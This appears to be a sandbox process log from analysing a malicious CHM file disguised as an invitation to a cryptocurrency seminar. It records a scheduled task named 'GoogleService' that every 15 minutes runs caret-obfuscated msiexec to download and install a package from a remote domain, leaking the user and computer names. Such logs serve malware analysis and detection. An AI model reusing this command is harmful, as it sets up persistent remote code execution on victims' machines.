cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "WiFtPZOzd" "C:\Users\test22\AppData\Local\Temp\Invitation To Attend Cryptocurrency Awareness Seminar.chm"
2576hh.exe "C:\Windows\hh.exe" C:\Users\test22\AppData\Local\Temp\Invitation To Attend Cryptocurrency Awareness Seminar.chm
2664schtasks.exe "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn GoogleService /tr "%coMSPec% /c s^ta^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://da^sh^o^nl^in^e^c^l^u^b.^c^o^m/C^V^B^N/^m^zx.p^hp^?^p^i=%username%*%computername% /^q^n ^/^norestart" /f
2880